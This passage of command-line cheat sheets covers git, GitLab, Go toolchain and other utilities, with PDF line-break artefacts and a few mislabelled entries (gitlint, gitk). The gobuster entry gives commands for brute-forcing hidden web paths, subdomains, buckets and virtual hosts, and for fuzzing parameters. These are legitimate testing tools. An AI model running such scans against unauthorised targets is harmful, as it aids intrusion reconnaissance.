• Apply a stash (default is stash@{0}), and remove it from the stash list if applying
doesn't cause conflicts:

git stash pop {{optional_stash_name}}

• Drop a stash (default is stash@{0}):

git stash drop {{optional_stash_name}}

• Drop all stashes:

git stash clear


git status
Show the changes to files in a Git repository.

Lists changed, added and deleted files compared to the currently checked-out commit.

More information: https://git-scm.com/docs/git-status.

• Show changed files which are not yet added for commit:

git status

• Give output in [s]hort format:

git status -s

• Don't show untracked files in the output:

git status --untracked-files=no

• Show output in [s]hort format along with [b]ranch info:

git status -sb


git stripspace
Read text (e.g. commit messages, notes, tags, and branch descriptions) from the
standard input and clean it into the manner used by Git.

More information: https://git-scm.com/docs/git-stripspace.

• Trim whitespace from a file:

cat {{path/to/file}} | git stripspace

• Trim whitespace and Git comments from a file:

cat {{path/to/file}} | git stripspace --strip-comments

• Convert all lines in a file into Git comments:

git stripspace --comment-lines < {{path/to/file}}


git submodule
Inspects, updates and manages submodules.

More information: https://git-scm.com/docs/git-submodule.

• Install a repository's specified submodules:

git submodule update --init --recursive

• Add a Git repository as a submodule:

git submodule add {{repository_url}}

• Add a Git repository as a submodule at the specified directory:

git submodule add {{repository_url}} {{path/to/directory}}

• Update every submodule to its latest commit:

git submodule foreach git pull


git subtree
Tool to manage project dependencies as subprojects.

More information: https://manpages.debian.org/testing/git-man/git-subtree.1.en.html.

• Add a Git repository as a subtree:

git subtree add --prefix={{path/to/directory/}} --squash


{{repository_url}} {{branch_name}}

• Update subtree repository to its latest commit:

git subtree pull --prefix={{path/to/directory/}}


{{repository_url}} {{branch_name}}

• Merge recent changes up to the latest subtree commit into the subtree:

git subtree merge --prefix={{path/to/directory/}} --squash


{{repository_url}} {{branch_name}}

• Push commits to a subtree repository:

git subtree push --prefix={{path/to/directory/}}


{{repository_url}} {{branch_name}}

• Extract a new project history from the history of a subtree:

git subtree split --prefix={{path/to/directory/}}


{{repository_url}} -b {{branch_name}}
git summary
Display information about a Git repository.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


summary.

• Display data about a Git repository:

git summary

• Display data about a Git repository since a commit-ish:

git summary {{commit|branch_name|tag_name}}

• Display data about a Git repository, merging committers using different emails
into 1 statistic for each author:

git summary --dedup-by-email

• Display data about a Git repository, showing the number of lines modified by each
contributor:

git summary --line


git svn
Bidirectional operation between a Subversion repository and Git.

More information: https://git-scm.com/docs/git-svn.

• Clone an SVN repository:

git svn clone {{https://example.com/subversion_repo}}


{{local_dir}}

• Clone an SVN repository starting at a given revision number:

git svn clone -r{{1234}}:HEAD {{https://svn.example.net/


subversion/repo}} {{local_dir}}

• Update local clone from the remote SVN repository:

git svn rebase

• Fetch updates from the remote SVN repository without changing the Git HEAD:

git svn fetch

• Commit back to the SVN repository:

git svn dcommit


git switch
Switch between Git branches. Requires Git version 2.23+.

See also git checkout.

More information: https://git-scm.com/docs/git-switch.

• Switch to an existing branch:

git switch {{branch_name}}

• Create a new branch and switch to it:

git switch --create {{branch_name}}

• Create a new branch based on an existing commit and switch to it:

git switch --create {{branch_name}} {{commit}}

• Switch to the previous branch:

git switch -

• Switch to a branch and update all submodules to match:

git switch --recurse-submodules {{branch_name}}

• Switch to a branch and automatically merge the current branch and any
uncommitted changes into it:

git switch --merge {{branch_name}}


git symbolic-ref
Read, change, or delete files that store references.

More information: https://git-scm.com/docs/git-symbolic-ref.

• Store a reference by a name:

git symbolic-ref refs/{{name}} {{ref}}

• Store a reference by name, including a message with a reason for the update:

git symbolic-ref -m "{{message}}" refs/{{name}} refs/heads/


{{branch_name}}

• Read a reference by name:

git symbolic-ref refs/{{name}}

• Delete a reference by name:

git symbolic-ref --delete refs/{{name}}

• For scripting, hide errors with --quiet and use --short to simplify ("refs/heads/
X" prints as "X"):

git symbolic-ref --quiet --short refs/{{name}}


git sync
Sync local branches with remote branches.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


sync.

• Sync the current local branch with its remote branch:

git sync

• Sync the current local branch with the remote main branch:

git sync origin main

• Sync without cleaning untracked files:

git sync -s {{remote_name}} {{branch_name}}


git tag
Create, list, delete or verify tags.

A tag is a static reference to a specific commit.

More information: https://git-scm.com/docs/git-tag.

• List all tags:

git tag

• Create a tag with the given name pointing to the current commit:

git tag {{tag_name}}

• Create a tag with the given name pointing to a given commit:

git tag {{tag_name}} {{commit}}

• Create an annotated tag with the given message:

git tag {{tag_name}} -m {{tag_message}}

• Delete the tag with the given name:

git tag -d {{tag_name}}

• Get updated tags from upstream:

git fetch --tags

• List all tags whose ancestors include a given commit:

git tag --contains {{commit}}


git touch
Create new files and add them to the index.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


touch.

• Create new files and add them to the index:

git touch {{path/to/file1 path/to/file2 ...}}


git undo
Undo recent commits.

Part of git-extras.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


undo.

• Remove the most recent commit:

git undo

• Remove a specific number of the most recent commits:

git undo {{3}}


git unlock
Unlock a file in a Git repository so it can be modified by a commit.

Part of git-extras. See also git lock.

More information: https://github.com/tj/git-extras/blob/master/Commands.md#git-


unlock.

• Enable the ability to commit changes of a previously-locked local file:

git unlock {{path/to/file}}


git update-index
Git command for manipulating the index.

More information: https://git-scm.com/docs/git-update-index.

• Pretend that a modified file is unchanged (git status will not show this as
changed):

git update-index --skip-worktree {{path/to/modified_file}}


git update-ref
Git command for creating, updating, and deleting Git refs.

More information: https://git-scm.com/docs/git-update-ref.

• Delete a ref, useful for soft resetting the first commit:

git update-ref -d {{HEAD}}

• Update ref with a message:

git update-ref -m {{message}} {{HEAD}} {{4e95e05}}


git var
Prints a Git logical variable's value.

See git config, which is preferred over git var.

More information: https://git-scm.com/docs/git-var.

• Print the value of a Git logical variable:

git var {{GIT_AUTHOR_IDENT|GIT_COMMITTER_IDENT|GIT_EDITOR|


GIT_PAGER}}

• [l]ist all Git logical variables:

git var -l
git verify-commit
Check for GPG verification of commits.

If no commits are verified, nothing will be printed, regardless of options specified.

More information: https://git-scm.com/docs/git-verify-commit.

• Check commits for a GPG signature:

git verify-commit {{commit_hash1 optional_commit_hash2 ...}}

• Check commits for a GPG signature and show details of each commit:

git verify-commit {{commit_hash1 optional_commit_hash2 ...}}


--verbose

• Check commits for a GPG signature and print the raw details:

git verify-commit {{commit_hash1 optional_commit_hash2 ...}}


--raw
git verify-tag
Check for GPG verification of tags.

If a tag wasn't signed, an error will occur.

More information: https://git-scm.com/docs/git-verify-tag.

• Check tags for a GPG signature:

git verify-tag {{tag1 optional_tag2 ...}}

• Check tags for a GPG signature and show details for each tag:

git verify-tag {{tag1 optional_tag2 ...}} --verbose

• Check tags for a GPG signature and print the raw details:

git verify-tag {{tag1 optional_tag2 ...}} --raw


git whatchanged
Show what has changed with recent commits or files.

See also git log.

More information: https://git-scm.com/docs/git-whatchanged.

• Display logs and changes for recent commits:

git whatchanged

• Display logs and changes for recent commits within the specified time frame:

git whatchanged --since="{{2 hours ago}}"

• Display logs and changes for recent commits for specific files or directories:

git whatchanged {{path/to/file_or_directory}}


git worktree
Manage multiple working trees attached to the same repository.

More information: https://git-scm.com/docs/git-worktree.

• Create a new directory with the specified branch checked out into it:

git worktree add {{path/to/directory}} {{branch}}

• Create a new directory with a new branch checked out into it:

git worktree add {{path/to/directory}} -b {{new_branch}}

• List all the working directories attached to this repository:

git worktree list

• Remove a worktree (after deleting worktree directory):

git worktree prune


git
Distributed version control system.

Some subcommands such as commit, add, branch, checkout, push, etc. have their
own usage documentation, accessible via tldr git subcommand.

More information: https://git-scm.com/.

• Check the Git version:

git --version

• Show general help:

git --help

• Show help on a Git subcommand (like clone, add, push, log, etc.):

git help {{subcommand}}

• Execute a Git subcommand:

git {{subcommand}}

• Execute a Git subcommand on a custom repository root path:

git -C {{path/to/repo}} {{subcommand}}

• Execute a Git subcommand with a given configuration set:

git -c '{{config.key}}={{value}}' {{subcommand}}


github-label-sync
A command-line interface for synchronising GitHub labels.

More information: https://github.com/Financial-Times/github-label-sync.

• Synchronise labels using a local labels.json file:

github-label-sync --access-token {{token}}


{{repository_name}}

• Synchronise labels using a specific labels JSON file:

github-label-sync --access-token {{token}} --labels {{url|


path/to/json_file}} {{repository_name}}

• Perform a dry run instead of actually synchronising labels:

github-label-sync --access-token {{token}} --dry-run


{{repository_name}}

• Keep labels that aren't in labels.json:

github-label-sync --access-token {{token}} --allow-added-


labels {{repository_name}}

• Synchronise using the GITHUB_ACCESS_TOKEN environment variable:

github-label-sync {{repository_name}}
gitk
A graphical Git repository browser.

More information: https://git-scm.com/docs/gitk.

• Show the repository browser for the current Git repository:

gitk

• Show repository browser for a specific file or directory:

gitk {{path/to/file_or_directory}}

• Show commits made since 1 week ago:

gitk --since="{{1 week ago}}"

• Show commits older than 1/1/2016:

gitk --until="{{1/1/2015}}"

• Show at most 100 changes in all branches:

gitk --max-count={{100}} --all


gitlab-ctl
CLI tool for managing the GitLab omnibus.

More information: https://docs.gitlab.com/omnibus/maintenance/.

• Display the status of every service:

sudo gitlab-ctl status

• Display the status of a specific service:

sudo gitlab-ctl status {{nginx}}

• Restart every service:

sudo gitlab-ctl restart

• Restart a specific service:

sudo gitlab-ctl restart {{nginx}}

• Display the logs of every service and keep reading until Ctrl + C is pressed:

sudo gitlab-ctl tail

• Display the logs of a specific service:

sudo gitlab-ctl tail {{nginx}}


gitlab-runner
CLI tool for managing GitLab runners.

More information: https://docs.gitlab.com/runner/.

• Register a runner:

sudo gitlab-runner register --url {{https://


gitlab.example.com}} --registration-token {{token}} --name
{{name}}

• Register a runner with a Docker executor:

sudo gitlab-runner register --url {{https://


gitlab.example.com}} --registration-token {{token}} --name
{{name}} --executor {{docker}}

• Unregister a runner:

sudo gitlab-runner unregister --name {{name}}

• Display the status of the runner service:

sudo gitlab-runner status

• Restart the runner service:

sudo gitlab-runner restart

• Check if the registered runners can connect to GitLab:

sudo gitlab-runner verify


gitlab
Ruby wrapper and CLI for the GitLab API.

Some subcommands such as gitlab ctl have their own usage documentation.

More information: https://narkoz.github.io/gitlab/.

• Create a new project:

gitlab create_project {{project_name}}

• Get info about a specific commit:

gitlab commit {{project_name}} {{commit_hash}}

• Get info about jobs in a CI pipeline:

gitlab pipeline_jobs {{project_name}} {{pipeline_id}}

• Start a specific CI job:

gitlab job_play {{project_name}} {{job_id}}


gitlint
Git commit message linter checks your commit messages for style.

More information: https://jorisroovers.com/gitlint/.

• Check the last commit message:

gitlint

• The range of commits to lint:

gitlint --commits {{single_refspec_argument}}

• Path to a directory or python module with extra user-defined rules:

gitlint --extra-path {{path/to/directory}}

• Start a specific CI job:

gitlint --target {{path/to/target_directory}}

• Path to a file containing a commit-msg:

gitlint --msg-filename {{path/to/filename}}

• Read staged commit meta-info from the local repository:

gitlint --staged
gitmoji
An interactive command-line tool for using emojis on commits.

More information: https://github.com/carloscuesta/gitmoji-cli.

• Start the commit wizard:

gitmoji --commit

• Initialize the git hook (so gitmoji will be run every time git commit is run):

gitmoji --init

• Remove the git hook:

gitmoji --remove

• List all available emojis and their descriptions:

gitmoji --list

• Search emoji list for a list of keywords:

gitmoji --search {{keyword1}} {{keyword2}}

• Update cached list of emojis from main repository:

gitmoji --update

• Configure global preferences:

gitmoji --config
gitsome
A terminal-based interface for GitHub, accessed via the gh command.

It also provides menu-style autocomplete suggestions for git commands.

More information: https://github.com/donnemartin/gitsome.

• Enter the gitsome shell (optional), to enable autocompletion and interactive help
for Git (and gh) commands:

gitsome

• Setup GitHub integration with the current account:

gh configure

• List notifications for the current account (as would be seen in https://github.com/
notifications):

gh notifications

• List the current account's starred repos, filtered by a given search string:

gh starred "{{python 3}}"

• View the recent activity feed of a given GitHub repository:

gh feed {{tldr-pages/tldr}}

• View the recent activity feed for a given GitHub user, using the default pager (e.g.
less):

gh feed {{torvalds}} -p
gixy
Analyze nginx configuration files.

More information: https://github.com/yandex/gixy.

• Analyze nginx configuration (default path: /etc/nginx/nginx.conf):

gixy

• Analyze nginx configuration but skip specific tests:

gixy --skips {{http_splitting}}

• Analyze nginx configuration with the specific severity level:

gixy {{-l|-ll|-lll}}

• Analyze nginx configuration files on the specific path:

gixy {{path/to/configuration_file_1}} {{path/to/


configuration_file_2}}
glab alias
Manage GitLab CLI command aliases from the command-line.

More information: https://glab.readthedocs.io/en/latest/alias.

• Display the subcommand help:

glab alias

• List all the aliases glab is configured to use:

glab alias list

• Create a glab subcommand alias:

glab alias set {{pv}} '{{pr view}}'

• Set a shell command as a glab subcommand:

glab alias set --shell {{alias_name}} {{command}}

• Delete a command shortcut:

glab alias delete {{alias_name}}


glab issue
Manage GitLab issues from the command-line.

More information: https://glab.readthedocs.io/en/latest/issue.

• Display a specific issue:

glab issue view {{issue_number}}

• Create a new issue in the default web browser:

glab issue create --web

• List the last 10 issues with the bug label:

glab issue list --per-page {{10}} --label "{{bug}}"

• List closed issues made by a specific user:

glab issue list --closed --author {{username}}

• Reopen a specific issue:

glab issue reopen {{issue_number}}


glab mr create
Manage GitLab merge requests from the command-line.

More information: https://glab.readthedocs.io/en/latest/mr/create.html.

• Interactively create a merge request:

glab mr create

• Create a merge request, determining the title and description from the commit
messages of the current branch:

glab mr create --fill

• Create a draft merge request:

glab mr create --draft

• Create a merge request specifying the target branch, title, and description:

glab mr create --target-branch {{target_branch}} --title


"{{title}}" --description "{{description}}"

• Start opening a merge request in the default web browser:

glab mr create --web


glab mr merge
Merge GitLab merge requests.

More information: https://glab.readthedocs.io/en/latest/mr/merge.html.

• Merge the merge request associated with the current branch interactively:

glab mr merge

• Merge the specified merge request, interactively:

glab mr merge {{mr_number}}

• Merge the merge request, removing the branch on both the local and the remote:

glab mr merge --remove-source-branch

• Squash the current merge request into one commit with the message body and
merge:

glab mr merge --squash --message="{{commit_message_body}}"

• Display help:

glab mr merge --help


glab mr
Manage GitLab merge requests from the command-line.

Some subcommands such as glab mr create have their own usage documentation.

More information: https://glab.readthedocs.io/en/latest/mr.

• Create a merge request:

glab mr create

• Check out a merge request locally:

glab mr checkout {{mr_number}}

• View the changes made in the merge request:

glab mr diff

• Approve the merge request for the current branch:

glab mr approve

• Merge the merge request associated with the current branch interactively:

glab mr merge

• Edit a merge request interactively:

glab mr update

• Edit the target branch of a merge request:

glab mr update --target-branch {{branch_name}}


glab pipeline
List, view, and run GitLab CI/CD pipelines.

More information: https://glab.readthedocs.io/en/latest/pipeline.

• View a running pipeline on the current branch:

glab pipeline status

• View a running pipeline on a specific branch:

glab pipeline status --branch {{branch_name}}

• Get the list of pipelines:

glab pipeline list

• Run a manual pipeline on the current branch:

glab pipeline run

• Run a manual pipeline on a specific branch:

glab pipeline run --branch {{branch_name}}


glab release
Manage GitLab releases from the command-line.

More information: https://glab.readthedocs.io/en/latest/release.

• List releases in a Gitlab repository, limited to 30 items:

glab release list

• Display information about a specific release:

glab release view {{tag}}

• Create a new release:

glab release create {{tag}}

• Delete a specific release:

glab release delete {{tag}}

• Download assets from a specific release:

glab release download {{tag}}

• Upload assets to a specific release:

glab release upload {{tag}} {{path/to/file1}} {{path/to/


file2}}
glab repo
Work with GitLab repositories on the command-line.

More information: https://glab.readthedocs.io/en/latest/repo/index.html#synopsis.

• Create a new repository (if the repository name is not set, the default name will be
the name of the current directory):

glab repo create {{name}}

• Clone a repository:

glab repo clone {{owner}}/{{repository}}

• Fork and clone a repository:

glab repo fork {{owner}}/{{repository}} --clone

• View a repository in the web browser:

glab repo view {{owner}}/{{repository}} --web

• Search some repositories in the GitLab instance:

glab repo search -s {{search_string}}


glab
GitLab CLI tool to help working with GitLab from the command-line.

More information: https://github.com/profclems/glab.

• Create a merge request:

glab mr create

• List merge requests:

glab mr list

• Create a new issue:

glab issue create

• View and filter the current repository's open issues:

glab issue list

• List pipelines:

glab pipeline list

• Clone a repository into a specific directory:

glab repo clone {{user}}/{{repository}} {{directory}}


glances
A cross-platform system monitoring tool.

More information: https://nicolargo.github.io/glances/.

• Run in terminal:

glances

• Run in web server mode to show results in browser:

glances -w

• Run in server mode to allow connections from other Glances clients:

glances -s

• Connect to a Glances server:

glances -c {{hostname}}

• Require a password in (web) server mode:

glances -s --password
glib-compile-resources
Compiles resource files (e.g. images) into a binary resource bundle.

These may be linked into GTK applications using the GResource API.

More information: https://manned.org/glib-compile-resources.

• Compile resources referenced in file.gresource.xml to a .gresource binary:

glib-compile-resources {{file.gresource.xml}}

• Compile resources referenced in file.gresource.xml to a C source file:

glib-compile-resources --generate-source
{{file.gresource.xml}}

• Compile resources in file.gresource.xml to a chosen target file, with .c, .h


or .gresource extension:

glib-compile-resources --generate --target={{file.ext}}


{{file.gresource.xml}}

• Print a list of resource files referenced in file.gresource.xml:

glib-compile-resources --generate-dependencies
{{file.gresource.xml}}
glow
Render Markdown in the terminal.

More information: https://github.com/charmbracelet/glow.

• Run glow and select a file to view:

glow

• Render a Markdown file to the terminal:

glow {{path/to/file}}

• View a Markdown file using a paginator:

glow -p {{path/to/file}}

• View a file from a URL:

glow {{https://example.com/file.md}}

• View a GitHub/GitLab README:

glow {{github.com/owner/repository}}
gml2gv
Convert a graph from gml to gv format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/gml2gv.1.pdf.

• Convert a graph from gml to gv format:

gml2gv -o {{output.gv}} {{input.gml}}

• Convert a graph using stdin and stdout:

cat {{input.gml}} | gml2gv > {{output.gv}}

• Display help:

gml2gv -?
gmssl
GmSSL is a crypto toolkit supporting SM1, SM2, SM3, SM4, SM9, and ZUC/ZUC256.

More information: http://gmssl.org/english.html.

• Generate an SM3 hash for a file:

gmssl sm3 {{path/to/file}}

• Encrypt a file using the SM4 cipher:

gmssl sms4 -e -in {{path/to/file}} -out {{path/to/file.sms4}}

• Decrypt a file using the SM4 cipher:

gmssl sms4 -d -in {{path/to/file.sms4}}

• Generate an SM2 private key:

gmssl sm2 -genkey -out {{path/to/file.pem}}

• Generate an SM2 public key from an existing private key:

gmssl sm2 -pubout -in {{path/to/file.pem}} -out {{path/to/


file.pem.pub}}

• Encrypt a file using the ZUC cipher:

gmssl zuc -e -in {{path/to/file}} -out {{path/to/file.zuc}}

• Decrypt a file using the ZUC cipher:

gmssl zuc -d -in {{path/to/file.zuc}}

• Print version:

gmssl version
gnomon
Utility to annotate console logging statements with timestamps and find slow processes.

More information: https://github.com/paypal/gnomon.

• Use UNIX (or DOS) pipes to pipe the stdout of any command through gnomon:

{{npm test}} | gnomon

• Show number of seconds since the start of the process:

{{npm test}} | gnomon --type=elapsed-total

• Show an absolute timestamp in UTC:

{{npm test}} | gnomon --type=absolute

• Set a high threshold of 0.5 seconds for the elapsed time; exceeding which the
timestamp will be colored bright red:

{{npm test}} | gnomon --high {{0.5}}

• Set a medium threshold of 0.2 seconds (Timestamp will be colored bright yellow):

{{npm test}} | gnomon --medium {{0.2}}


gnucash-cli
A command-line version of GnuCash.

More information: https://gnucash.org.

• Get quotes for currencies and stocks specified in a file and print them:

gnucash-cli --quotes get {{path/to/file.gnucash}}

• Generate a financial report of a specific type, specified by --name:

gnucash-cli --report run --name "{{Balance Sheet}}" {{path/


to/file.gnucash}}
gnucash
Personal and small-business financial-accounting software.

More information: https://gnucash.org.

• Launch GnuCash and load the previously opened file:

gnucash

• Launch GnuCash and load the specified file:

gnucash {{path/to/file.gnucash}}

• Launch GnuCash and load an empty file:

gnucash --nofile
gnuplot
A graph plotter that outputs in several formats.

More information: http://www.gnuplot.info/.

• Start the interactive graph plotting shell:

gnuplot

• Plot the graph for the specified graph definition file:

gnuplot {{path/to/definition.plt}}

• Set the output format by executing a command before loading the definition file:

gnuplot -e "{{set output "path/to/filename.png" size


1024,768}}" {{path/to/definition.plt}}

• Persist the graph plot preview window after gnuplot exits:

gnuplot --persist {{path/to/definition.plt}}


go bug
Report a bug.

More information: https://golang.org/cmd/go/#hdr-Start_a_bug_report.

• Open a web page to start a bug report:

go bug
go build
Compile Go sources.

More information: https://golang.org/cmd/go/#hdr-


Compile_packages_and_dependencies.

• Compile a 'package main' file (output will be the filename without extension):

go build {{path/to/main.go}}

• Compile, specifying the output filename:

go build -o {{path/to/binary}} {{path/to/source.go}}

• Compile a package:

go build -o {{path/to/binary}} {{path/to/package}}

• Compile a main package into an executable, enabling data race detection:

go build -race -o {{path/to/executable}} {{path/to/main/


package}}
go clean
Remove object files and cached files.

More information: https://golang.org/cmd/go/#hdr-


Remove_object_files_and_cached_files.

• Print the remove commands instead of actually removing anything:

go clean -n

• Delete the build cache:

go clean -cache

• Delete all cached test results:

go clean -testcache

• Delete the module cache:

go clean -modcache
go doc
Show documentation for a package or symbol.

More information: https://golang.org/cmd/go/#hdr-


Show_documentation_for_package_or_symbol.

• Show documentation for the current package:

go doc

• Show package documentation and exported symbols:

go doc {{encoding/json}}

• Show also documentation of symbols:

go doc -all {{encoding/json}}

• Show also sources:

go doc -all -src {{encoding/json}}

• Show a specific symbol:

go doc -all -src {{encoding/json.Number}}


go env
Manage environment variables used by the Go toolchain.

More information: https://golang.org/cmd/go/#hdr-Print_Go_environment_information.

• Show all environment variables:

go env

• Show a specific environment variable:

go env {{GOPATH}}

• Set an environment variable to a value:

go env -w {{GOBIN}}={{path/to/directory}}

• Reset an environment variable's value:

go env -u {{GOBIN}}
go fix
Update packages to use new APIs.

More information: https://golang.org/cmd/go/#hdr-Update_packages_to_use_new_APIs.

• Update packages to use new APIs:

go fix {{packages}}
go fmt
Format Go source files.

Prints the filenames that are changed.

More information: https://pkg.go.dev/cmd/go#hdr-Gofmt__reformat__package_sources.

• Format Go source files in the current directory:

go fmt

• Format a specific Go package in your import path ($GOPATH/src):

go fmt {{path/to/package}}

• Format the package in the current directory and all subdirectories (note the ...):

go fmt {{./...}}

• Print what format commands would've been run, without modifying anything:

go fmt -n

• Print which format commands are run as they are run:

go fmt -x
go generate
Generate Go files by running commands within source files.

More information: https://golang.org/cmd/go/#hdr-


Generate_Go_files_by_processing_source.

• Generate Go files by running commands within source files:

go generate
go get
Add a dependency package, or download packages in legacy GOPATH mode.

More information: https://pkg.go.dev/cmd/go#hdr-


Add_dependencies_to_current_module_and_install_them.

• Add a specified package to go.mod in module-mode or install the package in


GOPATH-mode:

go get {{example.com/pkg}}

• Modify the package with a given version in module-aware mode:

go get {{example.com/pkg}}@{{v1.2.3}}

• Remove a specified package:

go get {{example.com/pkg}}@{{none}}
go install
Compile and install packages named by the import paths.

More information: https://pkg.go.dev/cmd/go#hdr-


Compile_and_install_packages_and_dependencies.

• Compile and install the current package:

go install

• Compile and install a specific local package:

go install {{path/to/package}}

• Install the latest version of a program, ignoring go.mod in the current directory:

go install {{golang.org/x/tools/gopls}}@{{latest}}

• Install a program at the version selected by go.mod in the current directory:

go install {{golang.org/x/tools/gopls}}
go list
List packages or modules.

More information: https://golang.org/cmd/go/#hdr-List_packages_or_modules.

• List packages:

go list ./...

• List standard packages:

go list std

• List packages in JSON format:

go list -json time net/http

• List module dependencies and available updates:

go list -m -u all
go mod
Module maintenance.

More information: https://golang.org/cmd/go/#hdr-Module_maintenance.

• Initialize new module in current directory:

go mod init {{moduleName}}

• Download modules to local cache:

go mod download

• Add missing and remove unused modules:

go mod tidy

• Verify dependencies have expected content:

go mod verify

• Copy sources of all dependencies into the vendor directory:

go mod vendor
go run
Compile and run Go code without saving a binary.

More information: https://pkg.go.dev/cmd/go#hdr-Compile_and_run_Go_program.

• Run a Go file:

go run {{path/to/file.go}}

• Run a main Go package:

go run {{path/to/package}}
go test
Tests Go packages (files have to end with _test.go).

More information: https://golang.org/cmd/go/#hdr-Testing_flags.

• Test the package found in the current directory:

go test

• [v]erbosely test the package in the current directory:

go test -v

• Test the packages in the current directory and all subdirectories (note the ...):

go test -v ./...

• Test the package in the current directory and run all benchmarks:

go test -v -bench .

• Test the package in the current directory and run all benchmarks for 50 seconds:

go test -v -bench . -benchtime {{50s}}


go tool
Run a specific Go tool or command.

Execute a Go command as a stand-alone binary, typically for debugging.

More information: https://pkg.go.dev/cmd/go#hdr-Run_specified_go_tool.

• List available tools:

go tool

• Run the go link tool:

go tool link {{path/to/main.o}}

• Print the command that would be executed, but do not execute it (similar to
whereis):

go tool -n {{command}} {{arguments}}

• Display documentation for a specified tool:

go tool {{command}} --help


go version
Print Go version.

More information: https://golang.org/cmd/go/#hdr-Print_Go_version.

• Print Go version:

go version

• Print the Go version used to build the named executable file:

go version {{path/to/executable}}
go vet
Check Go source code and report suspicious constructs (e.g. lint your Go source files).

Go vet returns a non-zero exit code if problems are found; returns a zero exit code if no
problems are found.

More information: https://pkg.go.dev/cmd/vet.

• Check the Go package in the current directory:

go vet

• Check the Go package in the specified path:

go vet {{path/to/file_or_directory}}

• List available checks that can be run with go vet:

go tool vet help

• View details and flags for a particular check:

go tool vet help {{check_name}}

• Display offending lines plus N lines of surrounding context:

go vet -c={{N}}

• Output analysis and errors in JSON format:

go vet -json
go
Tool for managing go source code.

Some subcommands such as go build have their own usage documentation.

More information: https://golang.org.

• Download and install a package, specified by its import path:

go get {{package_path}}

• Compile and run a source file (it has to contain a main package):

go run {{file}}.go

• Compile a source file into a named executable:

go build -o {{executable}} {{file}}.go

• Compile the package present in the current directory:

go build

• Execute all test cases of the current package (files have to end with _test.go):

go test

• Compile and install the current package:

go install

• Initialize a new module in the current directory:

go mod init {{module_name}}


gobuster
Brute-forces hidden paths on web servers and more.

More information: https://github.com/OJ/gobuster.

• Discover directories and files that match in the wordlist:

gobuster dir --url {{https://example.com/}} --wordlist


{{path/to/file}}

• Discover subdomains:

gobuster dns --domain {{example.com}} --wordlist {{path/to/


file}}

• Discover Amazon S3 buckets:

gobuster s3 --wordlist {{path/to/file}}

• Discover other virtual hosts on the server:

gobuster vhost --url {{https://example.com/}} --wordlist


{{path/to/file}}

• Fuzz the value of a parameter:

gobuster fuzz --url {{https://example.com/?parameter=FUZZ}}


--wordlist {{path/to/file}}

• Fuzz the name of a parameter:

gobuster fuzz --url {{https://example.com/?FUZZ=value}} --


wordlist {{path/to/file}}
gocryptfs
Encrypted overlay filesystem written in Go.

More information: https://github.com/rfjakob/gocryptfs.

• Initialize an encrypted filesystem:

gocryptfs -init {{path/to/cipher_dir}}

• Mount an encrypted filesystem:

gocryptfs {{path/to/cipher_dir}} {{path/to/mount_point}}

• Mount with the explicit master key instead of password:

gocryptfs --masterkey {{path/to/cipher_dir}} {{path/to/


mount_point}}

• Change the password:

gocryptfs --passwd {{path/to/cipher_dir}}

• Make an encrypted snapshot of a plain directory:

gocryptfs --reverse {{path/to/plain_dir}} {{path/to/


cipher_dir}}
godoc
Show documentation for go packages.

More information: https://godoc.org/.

• Display help for package "fmt":

godoc {{fmt}}

• Display help for the function "Printf" of "fmt" package:

godoc {{fmt}} {{Printf}}

• Serve documentation as a web server on port 6060:

godoc -http=:{{6060}}

• Create an index file:

godoc -write_index -index_files={{path/to/file}}

• Use the given index file to search the docs:

godoc -http=:{{6060}} -index -index_files={{path/to/file}}


godot
An open source 2D and 3D game engine.

More information: https://godotengine.org/.

• Run a project if the current directory contains a project.godot file, otherwise


open the project manager:

godot

• Edit a project (the current directory must contain a project.godot file):

godot -e

• Open the project manager even if the current directory contains a


project.godot file:

godot -p

• Export a project for a given export preset (the preset must be defined in the
project):

godot --export {{preset}} {{output_path}}

• Execute a standalone GDScript file (the script must inherit from SceneTree or
MainLoop):

godot -s {{script.gd}}
gofmt
Tool for formatting Go source code.

More information: https://golang.org/cmd/gofmt/.

• Format a file and display the result to the console:

gofmt {{source.go}}

• Format a file, overwriting the original file in-place:

gofmt -w {{source.go}}

• Format a file, and then simplify the code, overwriting the original file:

gofmt -s -w {{source.go}}

• Print all (including spurious) errors:

gofmt -e {{source.go}}
goimports
Updates Go import lines, adding missing ones and removing unreferenced ones.

More information: https://godoc.org/golang.org/x/tools/cmd/goimports.

• Display the completed import source file:

goimports {{file}}.go

• Write the result back to the source file instead of the standard output:

goimports -w {{file}}.go

• Display diffs and write the result back to the source file:

goimports -w -d {{file}}.go

• Set the import prefix string after 3rd-party packages (comma-separated list):

goimports -local {{path/to/package}} {{file}}.go


googler
Search Google from command-line.

More information: https://github.com/jarun/googler.

• Search Google for a keyword:

googler {{keyword}}

• Search Google and open the first result in web browser:

googler -j {{keyword}}

• Show N search results (default 10):

googler -n {{N}} {{keyword}}

• Disable automatic spelling correction:

googler -x {{keyword}}

• Search one site for a keyword:

googler -w {{site}} {{keyword}}

• Show Google search result in JSON format:

googler --json {{keyword}}

• Perform in-place self-upgrade:

googler -u

• For more help in interactive mode:

?
gopass
Standard Unix Password Manager for Teams. Written in Go.

More information: https://www.gopass.pw.

• Initialise the configuration settings:

gopass init

• Create a new entry:

gopass new

• Show all stores:

gopass mounts

• Mount a shared Git store:

gopass mounts add {{store_name}} {{git_repo_url}}

• Search interactively using a keyword:

gopass show {{keyword}}

• Search using a keyword:

gopass find {{keyword}}

• Sync all mounted stores:

gopass sync

• Show a particular password entry:

gopass {{store_name|path/to/directory|email@email.com}}
gops
CLI tool which lists and diagnoses Go processes currently running on your system.

More information: https://github.com/google/gops.

• Print all go processes running locally:

gops

• Print more information about a process:

gops {{pid}}

• Display a process tree:

gops tree

• Print the current stack trace from a target program:

gops stack {{pid|addr}}

• Print the current runtime memory statistics:

gops memstats {{pid|addr}}


goreload
Live reload utility for Go programs.

More information: https://github.com/acoshift/goreload.

• Set the name of the binary file to watch (defaults to .goreload):

goreload -b {{path/to/binary}} {{file}}.go

• Set a custom log prefix (defaults to goreload):

goreload --logPrefix {{prefix}} {{file}}.go

• Reload whenever any file changes:

goreload --all
gotty
Share your terminal as a web application.

More information: https://github.com/yudai/gotty.

• Share result of command:

gotty {{command}}

• Share with write permission:

gotty -w {{shell}}

• Share with credential (Basic Auth):

